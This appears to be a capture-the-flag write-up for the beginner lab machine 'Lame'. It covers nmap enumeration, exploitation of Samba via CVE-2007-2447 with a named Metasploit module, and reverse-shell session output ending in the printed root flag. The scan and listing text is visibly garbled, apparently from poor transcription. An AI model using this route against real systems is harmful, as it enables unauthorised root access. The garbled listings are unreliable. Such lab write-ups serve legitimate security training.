# Lame

## **Synopsis**

Lame is a beginner level machine, requiring only one exploit to obtain root access

# Skills required:

- Knowledge of Linux
- Enumerating ports and services
- Identifying vulnerable services
- Exploiting Samba

#### **Enumeration**

We start the test from running nmap to discover what ports and services are available

```
→# nmap -A 10.10.10.3
Starting Mimap 7.33 (https://mmap.org ) at 2023-05-30 19:17 EDT
Namp scan report for 10.10.10.3 (10.10.10.3)
Nos thom: 906 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
21/ttp open ftp vsftpd 2.3.4
-ftp-anon: Anonymous FTP login allowed (FTP code 230)
-ftp-syst:
-ftp-sys
```

Nmap reveals vsftpd 2.3.4, OpenSSH and Samba. Vsftpd 2.3.4 does have a built-in backdoor, however it is not exploitable in this instance.

## **Exploitation**

Exploitation is trivial on this machine. After attempting (and failing) to enter using the "obvious" vsftpd attack vector, Samba becomes the only target. Using CVE-2007-2447, which conveniently has a Metasploit module associated with it, will immediately grant a root shell. The user flag can be obtained from /home/makis/user.txt and the root flag from /root/root.txt

### Module: exploit/multi/samba/usermap\_script

```
root
ls -al
total 28
                                      2017 .
drwxr-xr-x 2 makis makis 4096 Mar 14
                                      2017 ...
drwxr-xr-x 6 root root 4096 Mar 14
rw----- 1 makis makis 1107 Mar 14 2017 .bash_history
rw-r--r-- 1 makis makis 220 Mar 14 2017 .bash logout
rw-r--r-- 1 makis makis 2928 Mar 14 2017 .bashrc
rw-r--r-- 1 makis makis 586 Mar 14
                                     2017 .profile
                         0 Mar 14 2017 .sudo_as_admin_successful
33 May 30 09:41 user.txt
rw-r--r-- 1 makis makis
rw-r--r-- 1 makis makis
cat user.txt
[*] Started reverse TCP handler on 10.10.14.2:4444
[*] Command shell session 1 opened (10.10.14.2:4444 -> 10.10.10.3:39828) at 2023-05-30 19:19:23 -0400
     cd /root
ls -al
total 80
drwxr-xr-x 13 root root 4096 May 30 09:41 ...
drwxr-xr-x 21 root root 4096 Oct 31
                                        2020 ...
-rw----- 1 root root 373 May 30 09:41 .Xauthority
                            9 May 14
                                        2012 .bash history -> /dev/null
lrwxrwxrwx 1 root root
-rw-r--r-- 1 root root 2227 Oct 20
                                        2007 .bashrc
drwx----- 3 root root 4096 May 20
                                        2012 .config
drwx----- 2 root root 4096 May 20
                                        2012 .filezilla
drwxr-xr-x 5 root root 4096 May 30 09:41 .fluxbox
drwx----- 2 root root 4096 May 20
                                        2012 .gconf
drwx----- 2 root root 4096 May 20 drwxr-xr-x 2 root root 4096 May 20
                                        2012 .gconfd
                                        2012 .gstreamer-0.10
drwx----- 4 root root 4096 May 20
                                        2012 .mozilla
-rw-r--r-- 1 root root 141 Oct 20
                                        2007 .profile
drwx----- 5 root root 4096 May 20
                                        2012 .purple
-rwx----- 1 root root
                             4 May 20
                                        2012 .rhosts
drwxr-xr-x 2 root root 4096 May 20
                                        2012 .ssh
drwx----- 2 root root 4096 May 30 09:41 .vnc
drwxr-xr-x 2 root root 4096 May 20
                                        2012 Desktop
-rwx----- 1 root root 401 May 20
                                        2012 reset logs.sh
-rw----- 1 root root
                           33 May 30 09:41 root.txt
-rw-r--r-- 1 root root 118 May 30 09:41 vnc.log
cat root.txt
4ae04289873478a8727e1b22b48bdd4e
```